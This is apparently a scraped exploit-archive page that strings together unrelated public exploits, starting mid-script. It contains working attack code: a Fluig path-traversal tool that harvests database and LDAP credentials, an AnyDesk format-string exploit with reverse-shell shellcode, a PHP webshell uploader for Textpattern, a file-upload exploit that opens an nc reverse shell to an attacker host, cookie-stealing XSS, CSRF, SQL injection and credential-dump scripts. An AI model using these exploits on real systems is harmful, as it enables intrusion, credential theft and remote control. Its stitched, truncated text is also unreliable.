if [[ $path == 'info' ]]; then clear cat banner domain-xml elif [[ $path == 'clear' ]]; then clear elif [[ $path == 'target' ]]; then XmlPayload='' echo echo -n -e "\033[0;31mINSERT TARGET >> \033[0m"; read url echo -n -e "\033[0;31mWORDLIST SIZE >> \033[0m"; read -i npayload enum else echo echo "$param../../../../../../../../../../../../..$path" > wordlist.txt wfuzz -z file --zP fn=wordlist.txt,encoder=base64 -c --sc 200 $url/volume/stream/Rmx1aWc=/FUZZ | grep '"' | cut -d':' -f2 | grep 200 | cut -d'"' -f2 > payload.txt DirPath=$(head -1 payload.txt) if [[ $DirPath == '' ]]; then echo echo -e ' \033[0;33m[!] COMMAND OR DIRECTORY/FILE NOT FOUND - TYPE HELP\033[0m' else curl -s $url/volume/stream/Rmx1aWc=/$DirPath > report/$mdr/$mkfile echo echo -e '\033[0;31m'$path'\033[0m' echo cat report/$mdr/$mkfile echo pwd=$(pwd) echo echo -e '\033[0;33m'[!] FILE SAVE IN, $pwd/report/$mdr/$mkfile'\033[0m' fi fi done } function domain-xml { domain=$(ls report/$mdr | grep domain.xml) if [[ $domain == '' ]]; then echo echo -e '\033[0;33m[!] DOMAIN.XML FILE NOT FOUND\033[0m' else echo echo -e ' \033[0;32m | TOTVS FLUIG - [+] XML ANALISYS\033[0m' echo echo -e ' \033[0;33m[!] INFORMATION\033[0m' echo curl -s -I $url | grep Server echo echo -e '\033[0;31mTarget\033[0m' echo $url echo echo -e '\033[0;31mPayload plaintext\033[0m' echo $XmlPayload | base64 -d echo echo echo -e '\033[0;31mPayload base64 encoded\033[0m' echo $XmlPayload echo echo -e ' \033[0;31m[!] DATABASE CONNECTIONS FOUNDS\033[0m' echo cat report/$mdr/domain.xml | sed 's/[[:blank:]]//g' | grep connection-url | sed 's/<connection-url>/\o033[0;31mDB CONNECT >> \o033[0m/g' | sed 's/<\/connection-url>/ \o033[0;31m<< \o033[0m/g' | sed 's/${env.FLUIG_DATABASE_URL://g' | sed 's/}//g' echo echo -e ' \033[0;31m[!] USERS/PASSWORDS FOUNDS\033[0m' echo cat report/$mdr/domain.xml | sed 's/[[:blank:]]//g' | grep user-name | sed 's/<user-name>/ \o033[0;31mUSER >> \o033[0m/g' | sed 's/<\/user-name>/ \o033[0;31m<< \o033[0m /g' | sed 's/${env.FLUIG_DATABASE_USER://g' | sed 's/}//g' cat report/$mdr/domain.xml | sed 's/[[:blank:]]//g' | grep password'>' | sed 's/<password>/\o033[0;31m PASSWORD >> \o033[0m/g' | sed 's/<\/password>/ \o033[0;31m<< \o033[0m/g' | sed 's/${env.FLUIG_DATABASE_PASSWORD://g' | sed 's/}//g' echo echo -e ' \033[0;31m[!] LDAP INTEGRATIONS\033[0m' echo cat report/$mdr/domain.xml | sed 's/[[:blank:]]//g' | grep ldap:// | sed 's/<module-optionname="java.naming.provider.url"value="/\o033[0;31mDOMAIN SERVER >> \o033[0m/g' | sed 's/"\/>/ \o033[0;31m<< \o033[0m /g' cat report/$mdr/domain.xml | sed 's/[[:blank:]]//g' | grep baseCtxDN | sed 's/<module-optionname="baseCtxDN"value="/\o033[0;31mDISTINGUISHED NAME >> \o033[0m/g' | sed 's/"\/>/ \o033[0;31m<< \o033[0m /g' cat report/$mdr/domain.xml | sed 's/[[:blank:]]//g' | grep security.principal | sed 's/<module-optionname="java.naming.security.principal"value="/\o033[0;31mUSER ADMIN >> \o033[0m/g' | sed 's/"\/>/ \o033[0;31m<< \o033[0m /g' cat report/$mdr/domain.xml | sed 's/[[:blank:]]//g' | grep security.credentials | sed 's/<module-optionname="java.naming.security.credentials"value="/\o033[0;31mPASSWORD >> \o033[0m/g' | sed 's/"\/>/ \o033[0;31m<< \o033[0m /g' echo echo -e ' \033[0;31m[!] SMTP SETTINGS\033[0m' echo cat report/$mdr/domain.xml | sed 's/[[:blank:]]//g' | grep remote-destination | sed 's/<remote-destinationhost="/\o033[0;31mSMTP ADDRESS >> \o033[0m/g' | sed 's/\/>/ \o033[0;31m<< \o033[0m /g' | sed 's/${env.FLUIG_SMTP_HOST://g' | sed 's/${env.FLUIG_HOST_ADDRESS://g' | sed 's/${env.FLUIG_SMTP_PORT//g'| sed 's/}//g' cat report/$mdr/domain.xml | sed 's/[[:blank:]]//g' | grep smtp-server | sed 's/<smtp-serveroutbound-socket-binding-ref="mail-smtp"//g' | sed 's/\/>//g' | sed 's/password="/\o033[0;31mPASSWORD >> \o033[0m/g' | sed 's/"username="/\o033[0;31m USER >> \o033[0m/g' | sed 's/}//g' | sed 's/${env.FLUIG_SMTP_USERNAME://g' | sed 's/${env.FLUIG_SMTP_PASSWORD://g' echo manual-mode fi } function enum { mdr=$(echo $url | sed 's/https:\/\///' | sed 's/http:\/\///' | sed 's/\///') mkdir -p report/$mdr if [[ $url == '' ]]; then clear cat banner echo -e ' \033[0;31m-[ Usage Ex1: ./xfluig.sh FLUIG_ADDRESS REQUESTS_WFUZZ\033[0m' echo -e ' \033[0;31m-[ Ex2: ./xfluig.sh FLUIG_ADDRESS:PORT REQUESTS_WFUZZ\033[0m' echo -e ' \033[0;31m-[ ( ./xfluig.sh fluig.host.com:8080 1000 )\033[0m' manual-mode elif [[ $npayload == '' ]]; then npayload=25 clear cat banner echo -e ' \033[0;32m | TOTVS FLUIG - [+] PATH ENUMERATION\033[0m' echo echo -e '\033[0;31m[>>] GENERATING PAYLOAD WORDLIST\033[0m' echo create-payload else clear cat banner echo -e ' \033[0;32m | TOTVS FLUIG - [+] PATH ENUMERATION\033[0m' echo echo -e '\033[0;31m[>>] GENERATING PAYLOAD WORDLIST\033[0m' create-payload fi echo echo -e '\033[0;31m[>>] RUNNING WFUZZ - WAIT\033[0m' echo wfuzz -z file --zP fn=wordlist.txt,encoder=base64 -c --sc 200 $url/volume/stream/Rmx1aWc=/FUZZ | grep '"' | cut -d':' -f3 | grep 200 | cut -d'"' -f2 > payload.txt payload=$(head -1 payload.txt) if [[ $payload == '' ]]; then clear cat banner echo -e ' \033[0;32m | TOTVS FLUIG - PATH ENUMERATION AND XML ANALISYS \033[0m' echo echo -e '\033[0;33m[!] DIRECTORY/FILE NOT FOUND OR TARGET NOT VULNERABLE\033[0m' echo manual-mode else param=$(echo $payload | base64 -d | cut -d '.' -f1) clear cat banner echo -e ' \033[0;32m | TOTVS FLUIG - [+] STATUS\033[0m' echo echo -e ' \033[0;33m[!] VULNERABLE\033[0m' echo echo -e '\033[0;31m[>>] SEARCHING DOMAIN.XML FILE\033[0m' echo "$param../../../../../../../../../../../../../fluig/appserver/domain/configuration/domain.xml" > wordlist.txt echo "$param../../../../../../../../../../../../../opt/fluig/appserver/domain/configuration/domain.xml" >> wordlist.txt wfuzz -z file --zP fn=wordlist.txt,encoder=base64 -c --sc 200 $url/volume/stream/Rmx1aWc=/FUZZ | grep '"' | cut -d':' -f3 | grep 200 | cut -d'"' -f2 > payload.txt clear cat banner echo -e ' \033[0;32m | TOTVS FLUIG - [+] STATUS\033[0m' echo echo -e ' \033[0;33m[!] VULNERABLE\033[0m' echo curl -s -I $url | grep Server echo echo -e '\033[0;31mTarget\033[0m' echo $url echo echo -e '\033[0;31mPayload plaintext\033[0m' echo $payload | base64 -d echo echo echo -e '\033[0;31mPayload base64 encoded\033[0m' echo $payload echo fi XmlPayload=$(head -1 payload.txt) if [[ $XmlPayload == '' ]]; then echo echo -e '\033[0;33m[!] DOMAIN.XML FILE NOT FOUND\033[0m' manual-mode else curl -s $url/volume/stream/Rmx1aWc=/$XmlPayload | sed 's/[[:blank:]]//g' > report/$mdr/domain.xml echo echo -e '\033[0;33m[!] DOMAIN.XML FILE FOUND - TYPE "INFO" TO PARSE\033[0m' manual-mode fi } enum
HireHackking

Pingzapper 2.3.1 - 'PingzapperSvc' Unquoted Service Path

HACKER · %s · %s

# Exploit Title: Pingzapper 2.3.1 - 'PingzapperSvc' Unquoted Service Path # Discovery by: Brian Rodriguez # Date: 07-03-2021 # Vendor Homepage: https://pingzapper.com # Software Links: https://pingzapper.com/download # Tested Version: 2.3.1 # Vulnerability Type: Unquoted Service Path # Tested on: Windows 8.1 Pro 64 bits # Step to discover Unquoted Service Path: C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """ Pingzapper Service PingzapperSvc C:\Program Files (x86)\Pingzapper\PZService.exe Auto C:\>sc qc PingzapperSvc [SC] QueryServiceConfig CORRECTO NOMBRE_SERVICIO: PingzapperSvc TIPO : 10 WIN32_OWN_PROCESS TIPO_INICIO : 2 AUTO_START CONTROL_ERROR : 1 NORMAL NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Pingzapper\PZService.exe GRUPO_ORDEN_CARGA : ETIQUETA : 0 NOMBRE_MOSTRAR : Pingzapper Service DEPENDENCIAS : NOMBRE_INICIO_SERVICIO: LocalSystem
HireHackking

GLPI 9.5.3 - 'fromtype' Unsafe Reflection

HACKER · %s · %s

# Exploit Title: GLPI 9.5.3 - 'fromtype' Unsafe Reflection # Date: 2021-02-13 # Exploit Author: Vadym Soroka @Iterasec https://iterasec.com # Vendor Homepage: https://glpi-project.org # Software Link: https://github.com/glpi-project/glpi/releases # Version: <=9.5.3 # Tested on:v9.5.3, 2021-02-13 # Technical advisories: # https://github.com/glpi-project/glpi/security/advisories/GHSA-qmw7-w2m4-rjwp # https://iterasec.com/cve-2021-21327-unsafe-reflection-in-getitemforitemtype-in-glpi/ Impact: Non-authenticated user can remotely instantiate object of any class existing in the GLPI environment that can be used to carry out malicious attacks, or to start a “POP chain”. As an example of direct impact, this vulnerability affects integrity of the GLPI core platform and third-party plugins runtime misusing classes which implement some sensitive operations in their constructors or destructors. Description: When passing an existing class (ex: "Glpi\Console\Application" class) as an input of the getItemForItemtype() function new object of this class is created executing its constructor e.g. magic __construct() PHP method if declared. When a PHP object gets destroyed, its __destruct() method is executed. There are many entry points in the GLPI and its plugins, where untrusted user input is passed to the getItemForItemtype() function missing proper input and authorization checks, so just one example is shown to demonstrate the issue in the dropdownConnect.php as an entry point. Vulnerable code sample: --- file dropdownConnect.php: if (!isset($_POST['fromtype']) || !($fromitem = getItemForItemtype($_POST['fromtype']))) { exit(); } --- --- file dbutils.class.php, function getItemForItemtype($itemtype) if (class_exists($itemtype)) { return new $itemtype(); } //handle namespaces if (substr($itemtype, 0, \strlen(NS_GLPI)) === NS_GLPI) { $itemtype = stripslashes($itemtype); if (class_exists($itemtype)) { return new $itemtype(); } } --- POC/Steps to reproduce: Issue a request*: POST /ajax/dropdownConnect.php HTTP/1.1 Host: glpi Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Connection: close Content-Length: 12 fromtype=XXX * replacing XXX with a class name existing in the deployed GLPI environment with expected patterns, e.g.: GLPI Core: "Glpi\Foo\Bar" GLPI Plugins: "PluginFooBar"
HireHackking
# Exploit Title: Local Services Search Engine Management System (LSSMES) 1.0 - 'name' Persistent Cross-Site Scripting (XSS) # Date: 2021-03-03 # Exploit Author: Tushar Vaidya # Vendor Homepage: https://phpgurukul.com/local-services-search-engine-management-system-using-php-and-mysql/ # Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10867 # Version: v1.0 # Tested on: Ubuntu *Steps to Reproduce:* 1) Login with Admin Credentials and click on the *Person List* button. 2) Click on the *Add Person* button. 3) Now add the 'Ba1man' in the input field of *Name* and 'Ba2man' in the input field of *Address *then intercept it with Burp Suite. 4) Now add the following payload input field of *Name & Address*. Payload 1: ba1man"></td><script>alert(document.cookie)</script> Payload 2: ba2man"></td><script>alert(document.URL)</script> 4) Click On Add 5) Now go to http://localhost/LSSMES/lssems/view-category-detail.php?viewid=3 6) XSS payload is triggered. 7) Secondly, go to http://localhost/LSSMES/lssems/single-person-detail.php?viewid=25 8) Again XSS payload is triggered *Proof-of-concept:* 1) Vulnerable Form Request: POST /LSSMES/lssems/admin/add-person.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------366892106534365372313887502624 Content-Length: 1110 Origin: http:// localhost Connection: close Referer: http:// localhost /LSSMES/lssems/admin/add-person.php Cookie: PHPSESSID=rinoskt58u1hpa8s6i7di53rbc Upgrade-Insecure-Requests: 1 -----------------------------366892106534365372313887502624 Content-Disposition: form-data; name="category" 3 -----------------------------366892106534365372313887502624 Content-Disposition: form-data; name="name" *ba1man"></td><script>alert(document.cookie)</script>* -----------------------------366892106534365372313887502624 Content-Disposition: form-data; name="propic"; filename="mime_shell.php.gif" Content-Type: image/gif GIF8; -----------------------------366892106534365372313887502624 Content-Disposition: form-data; name="mobilenumber" 8524697125 -----------------------------366892106534365372313887502624 Content-Disposition: form-data; name="address" *ba1man"></td><script>alert(document.URL)</script>* -----------------------------366892106534365372313887502624 Content-Disposition: form-data; name="city" -----------------------------366892106534365372313887502624 Content-Disposition: form-data; name="submit" -----------------------------366892106534365372313887502624-- 2.1) Response: Go to http://localhost/LSSMES/lssems/view-category-detail.php?viewid=3 Note: XSS from name parameter 2.2) Response: Go to http://localhost/LSSMES/lssems/single-person-detail.php?viewid=25 Note: XSS from address parameter
HireHackking
###脆弱性の説明
この脆弱性により、攻撃者は「Cookie: uid=admin」を変更して、このデバイスのplantext管理者資格情報を返すことにより、特定のDVRのコントロールパネルにアクセスできます。

###脆弱性の悪用

1.Uuse code
Curl 'http://:/device.rsp？opt=usercmd=list' -h 'cookie: uid=admin'

2.POC利用
https://github.com/ezelf/cve-2018-9995_dvr_credentials
git clone https://github.com/ezelf/cve-2018-9995_dvr_credentials.git
CD CVE-2018-9995_DVR_CREDENTIALS
PIPインストール-R要件。txt



###キーワード検索
1。Zoomye:KeyWord: "/login.rsp '

2.Shodan:KeyWord:HTML: '/login.rsp'
keyword:'server:gnu rsp/1.0 '


3.GOOGLE:KEYWORD:INTITLE:'DVR LOGIN '


###バッチ検証
DVRシリーズカメラバッチ検出方法3:python CVE-2018-9995_Check.py HOST.TXT
host.txtの内容は、8.8.8.8:8080またはwww.baidu.comです。スクリプトが実行されると、DVRシリーズカメラを使用してホストがresult.txtファイルに保存されます。
＃著者3360hzkey
TPとしてテーブルプリントをインポートします
sysをインポートします
リクエストをインポートします
Reをインポートします
クラスColors:
green='\ 033 [32m'
red='\ 033 [0; 31m'
blue='\ 033 [*]'
orange='\ 033 [33m'
def check_host（host）:
try:
print（colors.orange+'チェック:％s'％ホスト）
url='http://' + host + '/login.rsp'
rr=requests.get（url、timeout=30、aopt_redirects=false）
rr.status_code==200およびre.findall（ 'gnu rsp/1.0'、rr.headers ['server']）:の場合
print（Colors.Green+'[*] CVE-2018-9995検出:URLは％S'％URLです）
ff=open（ 'result.txt'、 'a+'）
ff.write（ '％s \ n'％（url））
:を除く
合格
__name__=='__main __' :の場合
Len（Sys.Argv）2:の場合
print（colors.blue+'' 'usage: python3 cve-2018-9995.py host.txt
host.txt:127.0.0.133608080またはbaidu.com
'' '）
Len（Sys.Argv）=2:の場合
file=open（sys.argv [1]）
file:のiの場合
i=i.strip（）
check_host（i）
file.close（）

HireHackking

AnyDesk 5.5.2 - Remote Code Execution

HACKER · %s · %s

# Exploit Title: AnyDesk 5.5.2 - Remote Code Execution # Date: 09/06/20 # Exploit Author: scryh # Vendor Homepage: https://anydesk.com/en # Version: 5.5.2 # Tested on: Linux # Walkthrough: https://devel0pment.de/?p=1881 #!/usr/bin/env python import struct import socket import sys ip = '192.168.x.x' port = 50001 def gen_discover_packet(ad_id, os, hn, user, inf, func): d = chr(0x3e)+chr(0xd1)+chr(0x1) d += struct.pack('>I', ad_id) d += struct.pack('>I', 0) d += chr(0x2)+chr(os) d += struct.pack('>I', len(hn)) + hn d += struct.pack('>I', len(user)) + user d += struct.pack('>I', 0) d += struct.pack('>I', len(inf)) + inf d += chr(0) d += struct.pack('>I', len(func)) + func d += chr(0x2)+chr(0xc3)+chr(0x51) return d # msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.y.y LPORT=4444 -b "\x00\x25\x26" -f python -v shellcode shellcode = b"" shellcode += b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48" shellcode += b"\x8d\x05\xef\xff\xff\xff\x48\xbb\xcb\x46\x40" shellcode += b"\x6c\xed\xa4\xe0\xfb\x48\x31\x58\x27\x48\x2d" shellcode += b"\xf8\xff\xff\xff\xe2\xf4\xa1\x6f\x18\xf5\x87" shellcode += b"\xa6\xbf\x91\xca\x18\x4f\x69\xa5\x33\xa8\x42" shellcode += b"\xc9\x46\x41\xd1\x2d\x0c\x96\xf8\x9a\x0e\xc9" shellcode += b"\x8a\x87\xb4\xba\x91\xe1\x1e\x4f\x69\x87\xa7" shellcode += b"\xbe\xb3\x34\x88\x2a\x4d\xb5\xab\xe5\x8e\x3d" shellcode += b"\x2c\x7b\x34\x74\xec\x5b\xd4\xa9\x2f\x2e\x43" shellcode += b"\x9e\xcc\xe0\xa8\x83\xcf\xa7\x3e\xba\xec\x69" shellcode += b"\x1d\xc4\x43\x40\x6c\xed\xa4\xe0\xfb" print('sending payload ...') p = gen_discover_packet(4919, 1, '\x85\xfe%1$*1$x%18x%165$ln'+shellcode, '\x85\xfe%18472249x%93$ln', 'ad', 'main') s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.sendto(p, (ip, port)) s.close() print('reverse shell should connect within 5 seconds')
HireHackking

e107 CMS 2.3.0 - CSRF

HACKER · %s · %s

# Exploit Title: e107 CMS 2.3.0 - CSRF # Date: 04/03/2021 # Exploit Author: Tadjmen # Vendor Homepage: https://e107.org # Software Link: https://e107.org/download # Version: 2.3.0 # Tested on: Windows 10 # CVE : CVE-2021-27885 CSRF vulnerability on e107 CMS ## Bug Description Hi. I found a CSRF on the e107 CMS. Hacker can change password any user click the link. ## How to Reproduce Steps to reproduce the behavior: 1. Create a CSRF login POC using the following code. ``` <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Cross Site Request Forgery (Edit Existing Admin details)</title> </head> <body onload="javascript:fireForms()"> <script language="JavaScript"> function fireForms() { var count = 2; var i=0; for(i=0; i<count; i++) { document.forms[i].submit(); } } </script> <H2>Cross Site Request Forgery (Edit Existing Admin details)</H2> <form method="POST" name="form0" action=" http://localhost/[path-to-e107-cms]/usersettings.php"> <input type="hidden" name="loginname" value="admin"/> <input type="hidden" name="email" value="[email]"/> <input type="hidden" name="password1" value="[password]"/> <input type="hidden" name="password2" value="[password]"/> <input type="hidden" name="hideemail" value="1"/> <input type="hidden" name="image" value=""/> <input type="hidden" name="signature" value=""/> <input type="hidden" name="updatesettings" value="Save settings"/> <input type="hidden" name="_uid" value="2"/> </form> </body> </html> ``` 2. Replace the email and password with the valid credentials. 3. Send the link script to the victim (admin) to make them click. 4. Login with new admin password
HireHackking
# Exploit Title: Online Ordering System 1.0 - Blind SQL Injection (Unauthenticated) # Date: 2021-03-04 # Exploit Author: Suraj Bhosale # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/php/5125/online-ordering-system-using-phpmysql.html # Version: v1.0 # Vulnerable endpoint: http://localhost/onlineordering/GPST/admin/design.php?id=9 # Vulnerable Parameter: id *Steps to Reproduce:* 1) Visit http://localhost/onlineordering/GPST/admin/design.php?id=12'%20and%20sleep(20)%20and%20'1'='1 and you will see a time delay of 20 Sec in response. 2) Now fire up the following command into SQLMAP. CMD: sqlmap -u http://localhost/onlineordering/GPST/admin/design.php?id=9 <http://localhost/onlineordering/GPST/admin/design.php?id=9%27%20and%20sleep(20)%20and%20%271%27=%271>* --batch --dbs 3) Using the above command we will get the name of all the database.
HireHackking

Textpattern 4.8.3 - Remote code execution (Authenticated) (2)

HACKER · %s · %s

# Exploit Title: Textpattern 4.8.3 - Remote code execution (Authenticated) (2) # Date: 03/03/2021 # Exploit Author: Ricardo Ruiz (@ricardojoserf) # Vendor Homepage: https://textpattern.com/ # Software Link: https://textpattern.com/start # Version: Previous to 4.8.3 # Tested on: CentOS, textpattern 4.5.7 and 4.6.0 # Install dependencies: pip3 install beautifulsoup4 argparse requests # Example: python3 exploit.py -t http://example.com/ -u USER -p PASSWORD -c "whoami" -d import sys import argparse import requests from bs4 import BeautifulSoup def get_args(): parser = argparse.ArgumentParser() parser.add_argument('-t', '--target', required=True, action='store', help='Target url') parser.add_argument('-u', '--user', required=True, action='store', help='Username') parser.add_argument('-p', '--password', required=True, action='store', help='Password') parser.add_argument('-c', '--command', required=False, default="whoami", action='store', help='Command to execute') parser.add_argument('-f', '--filename', required=False, default="testing.php", action='store', help='PHP File Name to upload') parser.add_argument('-d', '--delete', required=False, default=False, action='store_true', help='Delete PHP file after executing command') my_args = parser.parse_args() return my_args def get_file_id(s, files_url, file_name): r = s.get(files_url, verify=False) soup = BeautifulSoup(r.text, "html.parser") for a in soup.findAll('a'): if "file_download/" in a['href']: file_id_name = a['href'].split('file_download/')[1].split("/") if file_id_name[1] == file_name: file_id = file_id_name[0] return file_id def login(login_url, user, password): s = requests.Session() s.get(login_url, verify=False) data = {"p_userid":user, "p_password":password, "_txp_token":""} r = s.post(login_url, data=data, verify=False) if str(r.status_code) == "401": print("[+] Invalid credentials") sys.exit(0) _txp_token = "" soup = BeautifulSoup(r.text, "html.parser") fields = soup.findAll('input') for f in fields: if (f['name'] == "_txp_token"): _txp_token = f['value'] return s,_txp_token def upload(s, login_url, _txp_token, file_name): php_payload = '<a>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed eiusmod tempor incidunt ut labore et dolore magna aliqua.</a>\n'*1000 # to avoid WAF problems php_payload += '<?php $test = shell_exec($_REQUEST[\'cmd\']); echo $test; ?>' s.post(login_url, files=(("MAX_FILE_SIZE", (None, "2000000")), ("event", (None, "file")), ("step", (None, "file_insert")), ("id", (None, "")), ("sort", (None, "")), ("dir", (None, "")), ("page", (None, "")), ("search_method", (None, "")), ("crit", (None, "")), ("thefile",(file_name, php_payload, 'application/octet-stream')), ("_txp_token", (None, _txp_token)),), verify=False) def exec_cmd(s, cmd_url, command): r = s.get(cmd_url+command, verify=False) response = r.text.replace("<a>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed eiusmod tempor incidunt ut labore et dolore magna aliqua.</a>\n","") return response def delete_file(s, login_url, file_id, _txp_token): data = {"selected[]":file_id,"edit_method":"delete","event":"file","step":"file_multi_edit","page":"1","sort":"filename","dir":"asc","_txp_token":_txp_token} s.post(login_url, data=data, verify=False) def main(): args = get_args() url = args.target user = args.user password = args.password file_name = args.filename command = args.command delete_after_execute = args.delete login_url = url + "/textpattern/index.php" upload_url = url + "/textpattern/index.php" cmd_url = url + "/files/" + file_name + "?cmd=" files_url = url + "/textpattern/index.php?event=file" s,_txp_token = login(login_url, user, password) print("[+] Logged in") upload(s, login_url, _txp_token, file_name) file_id = get_file_id(s, files_url, file_name) print("[+] File uploaded with id %s"%(file_id)) response = exec_cmd(s, cmd_url, command) print("[+] Command output \n%s"%(response)) if delete_after_execute: print("[+] Deleting uploaded file %s with id %s" %(file_name, file_id)) delete_file(s, login_url, file_id, _txp_token) else: print("[+] File not deleted. Url: %s"%(url + "/files/" + file_name)) if __name__ == "__main__": main()
HireHackking

CatDV 9.2 - RMI Authentication Bypass

HACKER · %s · %s

# Exploit Title: CatDV 9.2 - RMI Authentication Bypass # Date: 3/1/2021 # Exploit Author: Christopher Ellis, Nick Gonella, Workday Inc. # Vendor Homepage: https://catdv.com/ # Software Link: https://www.squarebox.com/download/CatDVServer9.2.0.exe # Version: 9.2 and lower # Tested on: Windows, Mac import org.h2.engine.User; import squarebox.catdv.shared.*; import java.net.MalformedURLException; import java.rmi.Naming; import java.rmi.NotBoundException; import java.rmi.RemoteException; public class Runnable { public Runnable() throws RemoteException, NotBoundException, MalformedURLException { } private static int getValidSession(long createdTime, String claimedHost) { return (int)createdTime + claimedHost.hashCode(); } private static void printFields(SField[] fields) { for (SField field : fields) { System.out.println(field.fieldDefID); System.out.println(field.value); System.out.println(field.fieldDefinition); } } public static void main(String args[]) throws RemoteException, NotBoundException, MalformedURLException { String target = "rmi://<HOST>:1099/CatDVServer"; ServerAPI look_up = (ServerAPI) Naming.lookup(target); System.out.println("Trying to get all connections"); SConnection[] connections = look_up.getConnections(); for (SConnection element : connections) { System.out.println("Found connection:"); System.out.println("CatDVUser:"+ element.catdvUser); System.out.println("ApiVersion:"+ element.apiVersion); System.out.println("User:"+ element.user); System.out.println("ClaimedHost:"+ element.claimedHost); System.out.println("ActualHost:"+ element.actualHost); System.out.println("Created:"+ element.created); System.out.println("LastUsed:"+ element.lastUsed); System.out.println("Client features:"+ element.clientFeatures); System.out.println("\n"); } System.out.println("Getting system properties"); System.out.println("Running from: "+look_up.getProperty("user.dir")); System.out.println("Running on: "+look_up.getProperty("os.arch")); System.out.println("Java version: "+look_up.getProperty("java.version")); //We can create a new client from most of the fields found in the existing connections which we can dump anonymously ClientID bob=new ClientID( connections[0].catdvUser, connections[0].claimedHost, getValidSession(connections[0].created,connections[0].claimedHost), connections[0].created, ""); System.out.println("\nCreated a new client with parameters: \n" + "" + "user:"+connections[0].catdvUser+"\n"+ "" + "claimedHost:"+connections[0].claimedHost+"\n"+ "" + "session:"+getValidSession(connections[0].created,connections[0].claimedHost)+"\n"+ "" + "created:"+connections[0].created+"\n"+ "" + "pubkey:"+""+ ""); String status = look_up.getStatus(bob); System.out.println("Status is: \n "+status); System.out.println("Attempting to dump users: \n"); SUser[] users=look_up.getUsers(bob, -1); for (SUser element: users) { System.out.println(element.name); System.out.println(element.passwordHash); System.out.println("id:" + element.ID); System.out.println("realname:" + element.realname); System.out.println("email:" + element.email); System.out.println("password:" + element.password); System.out.println("notes:" + element.notes); System.out.println("inactive:" + element.inactive); System.out.println("RoleiD:" + element.roleID); System.out.println("hash:" + element.passwordHash); System.out.println(""); } } }
HireHackking

Print Job Accounting 4.4.10 - 'OkiJaSvc' Unquoted Service Path

HACKER · %s · %s

# Exploit Title: Print Job Accounting 4.4.10 - 'OkiJaSvc' Unquoted Service Path # Discovery by: Brian Rodriguez # Date: 07-03-2021 # Vendor Homepage: https://www.oki.com # Software Links: https://www.oki.com/mx/printing/support/drivers-and-utilities/?id=46229002&tab=drivers-and-utilities&productCategory=monochrome&sku=62442301&os=ab4&lang=ac6 # Tested Version: 4.4.10 # Vulnerability Type: Unquoted Service Path # Tested on: Windows 8.1 Pro 64 bits C:\Windows\system32>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """ OKI Local Port Manager OpLclSrv C:\Program Files\Okidata\Common\Extend3\portmgrsrv.exe Print Job Accounting OkiJaSvc C:\Program Files\Okidata\Print Job Accounting\oklogsvc.exe Print Job Accounting Watch Service OkiWchSvc C:\Program Files\Okidata\Print Job Accounting\okwchsvc.exe Print Job Accounting opja0004 opja0004 C:\Program Files\Okidata\Print Job Accounting\opja0004.exe C:\Windows\system32>sc qc OkiJaSvc [SC] QueryServiceConfig CORRECTO NOMBRE_SERVICIO: OkiJaSvc TIPO : 10 WIN32_OWN_PROCESS TIPO_INICIO : 2 AUTO_START CONTROL_ERROR : 1 NORMAL NOMBRE_RUTA_BINARIO: C:\Program Files\Okidata\Print Job Accounting\oklogsvc.exe GRUPO_ORDEN_CARGA : ETIQUETA : 0 NOMBRE_MOSTRAR : Print Job Accounting DEPENDENCIAS : NOMBRE_INICIO_SERVICIO: LocalSystem
HireHackking
# Exploit Title: Hotel and Lodge Management System 1.0 - Remote Code Execution (Unauthenticated) # Date: 07-03-2021 # Exploit Author: Christian Vierschilling # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/php/13707/hotel-and-lodge-management-system.html # Version: 1.0 # Tested on: PHP 7.4.14, Linux x64_x86 # --- Description --- # # The web application allows for an unauthenticated file upload which can result in a Remote Code Execution. # Executing this script against a target might return a reverse php shell. # --- Proof of concept --- # #!/usr/bin/python3 import random import sys import requests from requests_toolbelt.multipart.encoder import MultipartEncoder def file_upload(target_ip, attacker_ip, attacker_port): print("(+) Setting up reverse shell php file ..") random_file_name = str(random.randint(100000, 999999)) + "revshell.php" revshell_string = '<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f"); ?>'.format(attacker_ip, attacker_port) m = MultipartEncoder(fields={'image': (random_file_name, revshell_string, 'application/x-php'),'btn_update':''}) print("(+) Trying to upload it ..") r1 = requests.post('http://{}/hotel/source code/profile.php'.format(target_ip), data=m, headers={'Content-Type': m.content_type}) r2 = requests.get('http://{}/hotel/source code/uploadImage/Profile/'.format(target_ip)) if random_file_name in r2.text: print("(+) File upload seems to have been successful!") return random_file_name else: print("(-) Oh noes, file upload failed .. quitting!") exit() def trigger_shell(target_ip, random_file_name): print("(+) Now trying to trigger our shell..") r3 = requests.get('http://{}/hotel/source code/uploadImage/Profile/{}'.format(target_ip, random_file_name)) return None def main(): if len(sys.argv) != 4: print('(+) usage: %s <target ip> <attacker ip> <attacker port>' % sys.argv[0]) print('(+) eg: %s 10.0.0.1 10.13.37.10 4444' % sys.argv[0]) sys.exit(-1) target_ip = sys.argv[1] attacker_ip = sys.argv[2] attacker_port = sys.argv[3] revshell_file_name = file_upload(target_ip, attacker_ip, attacker_port) trigger_shell(target_ip, revshell_file_name) print("\n(+) done!") if __name__ == "__main__": main()
HireHackking

Golden FTP Server 4.70 - 'PASS' Buffer Overflow (2)

HACKER · %s · %s

